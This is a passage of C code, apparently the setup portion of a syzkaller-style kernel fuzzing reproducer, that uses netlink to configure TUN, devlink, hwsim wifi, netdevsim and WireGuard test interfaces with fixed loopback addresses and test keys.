netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode));
netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_device_change(struct nlmsg* nlmsg, int sock,
const char* name, bool up, const char* master,
const void* mac, int macsize,
const char* new_name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
hdr.ifi_index = if_nametoindex(name);
netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
if (new_name)
netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev,
const void* addr, int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize);
netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize);
return netlink_send(nlmsg, sock);
}
static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr));
(void)err;
}
static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr));
(void)err;
}
static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name,
const void* addr, int addrsize, const void* mac,
int macsize)
{
struct ndmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ndm_ifindex = if_nametoindex(name);
hdr.ndm_state = NUD_PERMANENT;
netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, NDA_DST, addr, addrsize);
netlink_attr(nlmsg, NDA_LLADDR, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static struct nlmsg nlmsg;
static int tunfd = -1;
#define TUN_IFACE "syz_tun"
#define LOCAL_MAC 0xaaaaaaaaaaaa
#define REMOTE_MAC 0xaaaaaaaaaabb
#define LOCAL_IPV4 "172.20.20.170"
#define REMOTE_IPV4 "172.20.20.187"
#define LOCAL_IPV6 "fe80::aa"
#define REMOTE_IPV6 "fe80::bb"
#define IFF_NAPI 0x0010
static void initialize_tun(void)
{
tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
if (tunfd == -1) {
printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n");
printf("otherwise fuzzing or reproducing might not work as intended\n");
return;
}
const int kTunFd = 240;
if (dup2(tunfd, kTunFd) < 0)
exit(1);
close(tunfd);
tunfd = kTunFd;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ);
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) {
exit(1);
}
char sysctl[64];
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE);
write_file(sysctl, "0");
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE);
write_file(sysctl, "0");
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4);
netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6);
uint64_t macaddr = REMOTE_MAC;
struct in_addr in_addr;
inet_pton(AF_INET, REMOTE_IPV4, &in_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr),
&macaddr, ETH_ALEN);
struct in6_addr in6_addr;
inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr),
&macaddr, ETH_ALEN);
macaddr = LOCAL_MAC;
netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN,
NULL);
close(sock);
}
#define DEVLINK_FAMILY_NAME "devlink"
#define DEVLINK_CMD_PORT_GET 5
#define DEVLINK_ATTR_BUS_NAME 1
#define DEVLINK_ATTR_DEV_NAME 2
#define DEVLINK_ATTR_NETDEV_NAME 7
static struct nlmsg nlmsg2;
static void initialize_devlink_ports(const char* bus_name, const char* dev_name,
const char* netdev_prefix)
{
struct genlmsghdr genlhdr;
int len, total_len, id, err, offset;
uint16_t netdev_index;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1)
exit(1);
int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (rtsock == -1)
exit(1);
id = netlink_query_family_id(&nlmsg, sock, DEVLINK_FAMILY_NAME);
if (id == -1)
goto error;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = DEVLINK_CMD_PORT_GET;
netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
err = netlink_send_ext(&nlmsg, sock, id, &total_len);
if (err < 0) {
goto error;
}
offset = 0;
netdev_index = 0;
while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) {
struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg.buf + offset + len;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) {
char* port_name;
char netdev_name[IFNAMSIZ];
port_name = (char*)(attr + 1);
snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix,
netdev_index);
netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0,
netdev_name);
break;
}
}
offset += len;
netdev_index++;
}
error:
close(rtsock);
close(sock);
}
#define WIFI_INITIAL_DEVICE_COUNT 2
#define WIFI_MAC_BASE \
{ \
0x08, 0x02, 0x11, 0x00, 0x00, 0x00 \
}
#define WIFI_IBSS_BSSID \
{ \
0x50, 0x50, 0x50, 0x50, 0x50, 0x50 \
}
#define WIFI_IBSS_SSID \
{ \
0x10, 0x10, 0x10, 0x10, 0x10, 0x10 \
}
#define WIFI_DEFAULT_FREQUENCY 2412
#define WIFI_DEFAULT_SIGNAL 0
#define WIFI_DEFAULT_RX_RATE 1
#define HWSIM_CMD_REGISTER 1
#define HWSIM_CMD_FRAME 2
#define HWSIM_CMD_NEW_RADIO 4
#define HWSIM_ATTR_SUPPORT_P2P_DEVICE 14
#define HWSIM_ATTR_PERM_ADDR 22
#define IF_OPER_UP 6
struct join_ibss_props {
int wiphy_freq;
bool wiphy_freq_fixed;
uint8_t* mac;
uint8_t* ssid;
int ssid_len;
};
static int set_interface_state(const char* interface_name, int on)
{
struct ifreq ifr;
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0) {
return -1;
}
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, interface_name);
int ret = ioctl(sock, SIOCGIFFLAGS, &ifr);
if (ret < 0) {
close(sock);
return -1;
}
if (on)
ifr.ifr_flags |= IFF_UP;
else
ifr.ifr_flags &= ~IFF_UP;
ret = ioctl(sock, SIOCSIFFLAGS, &ifr);
close(sock);
if (ret < 0) {
return -1;
}
return 0;
}
static int nl80211_set_interface(struct nlmsg* nlmsg, int sock,
int nl80211_family, uint32_t ifindex,
uint32_t iftype)
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = NL80211_CMD_SET_INTERFACE;
netlink_init(nlmsg, nl80211_family, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, NL80211_ATTR_IFINDEX, &ifindex, sizeof(ifindex));
netlink_attr(nlmsg, NL80211_ATTR_IFTYPE, &iftype, sizeof(iftype));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
return -1;
}
return 0;
}
static int nl80211_join_ibss(struct nlmsg* nlmsg, int sock, int nl80211_family,
uint32_t ifindex, struct join_ibss_props* props)
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = NL80211_CMD_JOIN_IBSS;
netlink_init(nlmsg, nl80211_family, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, NL80211_ATTR_IFINDEX, &ifindex, sizeof(ifindex));
netlink_attr(nlmsg, NL80211_ATTR_SSID, props->ssid, props->ssid_len);
netlink_attr(nlmsg, NL80211_ATTR_WIPHY_FREQ, &(props->wiphy_freq),
sizeof(props->wiphy_freq));
if (props->mac)
netlink_attr(nlmsg, NL80211_ATTR_MAC, props->mac, ETH_ALEN);
if (props->wiphy_freq_fixed)
netlink_attr(nlmsg, NL80211_ATTR_FREQ_FIXED, NULL, 0);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
return -1;
}
return 0;
}
static int get_ifla_operstate(struct nlmsg* nlmsg, int ifindex)
{
struct ifinfomsg info;
memset(&info, 0, sizeof(info));
info.ifi_family = AF_UNSPEC;
info.ifi_index = ifindex;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1) {
return -1;
}
netlink_init(nlmsg, RTM_GETLINK, 0, &info, sizeof(info));
int n;
int err = netlink_send_ext(nlmsg, sock, RTM_NEWLINK, &n);
close(sock);
if (err) {
return -1;
}
struct rtattr* attr = IFLA_RTA(NLMSG_DATA(nlmsg->buf));
for (; RTA_OK(attr, n); attr = RTA_NEXT(attr, n)) {
if (attr->rta_type == IFLA_OPERSTATE)
return *((int32_t*)RTA_DATA(attr));
}
return -1;
}
static int await_ifla_operstate(struct nlmsg* nlmsg, char* interface,
int operstate)
{
int ifindex = if_nametoindex(interface);
while (true) {
usleep(1000);
int ret = get_ifla_operstate(nlmsg, ifindex);
if (ret < 0)
return ret;
if (ret == operstate)
return 0;
}
return 0;
}
static int nl80211_setup_ibss_interface(struct nlmsg* nlmsg, int sock,
int nl80211_family_id, char* interface,
struct join_ibss_props* ibss_props)
{
int ifindex = if_nametoindex(interface);
if (ifindex == 0) {
return -1;
}
int ret = nl80211_set_interface(nlmsg, sock, nl80211_family_id, ifindex,
NL80211_IFTYPE_ADHOC);
if (ret < 0) {
return -1;
}
ret = set_interface_state(interface, 1);
if (ret < 0) {
return -1;
}
ret = nl80211_join_ibss(nlmsg, sock, nl80211_family_id, ifindex, ibss_props);
if (ret < 0) {
return -1;
}
return 0;
}
static int hwsim80211_create_device(struct nlmsg* nlmsg, int sock,
int hwsim_family,
uint8_t mac_addr[ETH_ALEN])
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = HWSIM_CMD_NEW_RADIO;
netlink_init(nlmsg, hwsim_family, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, HWSIM_ATTR_SUPPORT_P2P_DEVICE, NULL, 0);
netlink_attr(nlmsg, HWSIM_ATTR_PERM_ADDR, mac_addr, ETH_ALEN);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
return -1;
}
return 0;
}
static void initialize_wifi_devices(void)
{
uint8_t mac_addr[6] = WIFI_MAC_BASE;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock < 0) {
return;
}
int hwsim_family_id = netlink_query_family_id(&nlmsg, sock, "MAC80211_HWSIM");
int nl80211_family_id = netlink_query_family_id(&nlmsg, sock, "nl80211");
uint8_t ssid[] = WIFI_IBSS_SSID;
uint8_t bssid[] = WIFI_IBSS_BSSID;
struct join_ibss_props ibss_props = {.wiphy_freq = WIFI_DEFAULT_FREQUENCY,
.wiphy_freq_fixed = true,
.mac = bssid,
.ssid = ssid,
.ssid_len = sizeof(ssid)};
for (int device_id = 0; device_id < WIFI_INITIAL_DEVICE_COUNT; device_id++) {
mac_addr[5] = device_id;
int ret = hwsim80211_create_device(&nlmsg, sock, hwsim_family_id, mac_addr);
if (ret < 0)
exit(1);
char interface[6] = "wlan0";
interface[4] += device_id;
if (nl80211_setup_ibss_interface(&nlmsg, sock, nl80211_family_id, interface,
&ibss_props) < 0)
exit(1);
}
for (int device_id = 0; device_id < WIFI_INITIAL_DEVICE_COUNT; device_id++) {
char interface[6] = "wlan0";
interface[4] += device_id;
int ret = await_ifla_operstate(&nlmsg, interface, IF_OPER_UP);
if (ret < 0)
exit(1);
}
close(sock);
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa
static void netdevsim_add(unsigned int addr, unsigned int port_count)
{
char buf[16];
sprintf(buf, "%u %u", addr, port_count);
if (write_file("/sys/bus/netdevsim/new_device", buf)) {
snprintf(buf, sizeof(buf), "netdevsim%d", addr);
initialize_devlink_ports("netdevsim", buf, "netdevsim");
}
}
#define WG_GENL_NAME "wireguard"
enum wg_cmd {
WG_CMD_GET_DEVICE,
WG_CMD_SET_DEVICE,
};
enum wgdevice_attribute {
WGDEVICE_A_UNSPEC,
WGDEVICE_A_IFINDEX,
WGDEVICE_A_IFNAME,
WGDEVICE_A_PRIVATE_KEY,
WGDEVICE_A_PUBLIC_KEY,
WGDEVICE_A_FLAGS,
WGDEVICE_A_LISTEN_PORT,
WGDEVICE_A_FWMARK,
WGDEVICE_A_PEERS,
};
enum wgpeer_attribute {
WGPEER_A_UNSPEC,
WGPEER_A_PUBLIC_KEY,
WGPEER_A_PRESHARED_KEY,
WGPEER_A_FLAGS,
WGPEER_A_ENDPOINT,
WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
WGPEER_A_LAST_HANDSHAKE_TIME,
WGPEER_A_RX_BYTES,
WGPEER_A_TX_BYTES,
WGPEER_A_ALLOWEDIPS,
WGPEER_A_PROTOCOL_VERSION,
};
enum wgallowedip_attribute {
WGALLOWEDIP_A_UNSPEC,
WGALLOWEDIP_A_FAMILY,
WGALLOWEDIP_A_IPADDR,
WGALLOWEDIP_A_CIDR_MASK,
};
static void netlink_wireguard_setup(void)
{
const char ifname_a[] = "wg0";
const char ifname_b[] = "wg1";
const char ifname_c[] = "wg2";
const char private_a[] =
"\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1"
"\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43";
const char private_b[] =
"\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c"
"\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e";
const char private_c[] =
"\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15"
"\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42";
const char public_a[] =
"\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25"
"\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c";
const char public_b[] =
"\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e"
"\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b";
const char public_c[] =
"\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c"
"\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22";
const uint16_t listen_a = 20001;
const uint16_t listen_b = 20002;
const uint16_t listen_c = 20003;
const uint16_t af_inet = AF_INET;
const uint16_t af_inet6 = AF_INET6;
const struct sockaddr_in endpoint_b_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_b),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
const struct sockaddr_in endpoint_c_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_c),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_a)};
endpoint_a_v6.sin6_addr = in6addr_loopback;
struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_c)};
endpoint_c_v6.sin6_addr = in6addr_loopback;
const struct in_addr first_half_v4 = {0};
const struct in_addr second_half_v4 = {(uint32_t)htonl(128 << 24)};
const struct in6_addr first_half_v6 = {{{0}}};
const struct in6_addr second_half_v6 = {{{0x80}}};
const uint8_t half_cidr = 1;
const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19};
struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1};
int sock;
int id, err;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1) {
return;
}
id = netlink_query_family_id(&nlmsg, sock, WG_GENL_NAME);
if (id == -1)
goto error;
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[0], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6,
sizeof(endpoint_c_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[1], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err < 0) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[2], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4,
sizeof(endpoint_c_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[3], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err < 0) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[4], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[5], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err < 0) {
}
error:
close(sock);
}
static void initialize_netdevices(void)
{
char netdevsim[16];
sprintf(netdevsim, "netdevsim%d", (int)procid);
struct {
const char* type;
const char* dev;
} devtypes[] = {
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"},
{"vcan", "vcan0"}, {"bond", "bond0"},
{"team", "team0"}, {"dummy", "dummy0"},
{"nlmon", "nlmon0"}, {"caif", "caif0"},
{"batadv", "batadv0"}, {"vxcan", "vxcan1"},
{"netdevsim", netdevsim}, {"veth", 0},
{"xfrm", "xfrm0"}, {"wireguard", "wg0"},
{"wireguard", "wg1"}, {"wireguard", "wg2"},
};
const char* devmasters[] = {"bridge", "bond", "team", "batadv"};
struct {
const char* name;
int macsize;
bool noipv6;
} devices[] = {
{"lo", ETH_ALEN},
{"sit0", 0},
{"bridge0", ETH_ALEN},
{"vcan0", 0, true},
{"tunl0", 0},
{"gre0", 0},
{"gretap0", ETH_ALEN},
{"ip_vti0", 0},
{"ip6_vti0", 0},
{"ip6tnl0", 0},
{"ip6gre0", 0},
{"ip6gretap0", ETH_ALEN},
{"erspan0", ETH_ALEN},
{"bond0", ETH_ALEN},
{"veth0", ETH_ALEN},
{"veth1", ETH_ALEN},
{"team0", ETH_ALEN},
{"veth0_to_bridge", ETH_ALEN},
{"veth1_to_bridge", ETH_ALEN},
{"veth0_to_bond", ETH_ALEN},
{"veth1_to_bond", ETH_ALEN},
{"veth0_to_team", ETH_ALEN},
{"veth1_to_team", ETH_ALEN},
{"veth0_to_hsr", ETH_ALEN},
{"veth1_to_hsr", ETH_ALEN},
{"hsr0", 0},
{"dummy0", ETH_ALEN},
{"nlmon0", 0},
{"vxcan0", 0, true},
{"vxcan1", 0, true},
{"caif0", ETH_ALEN},
{"batadv0", ETH_ALEN},
{netdevsim, ETH_ALEN},
{"xfrm0", ETH_ALEN},
{"veth0_virt_wifi", ETH_ALEN},
{"veth1_virt_wifi", ETH_ALEN},
{"virt_wifi0", ETH_ALEN},
{"veth0_vlan", ETH_ALEN},
{"veth1_vlan", ETH_ALEN},
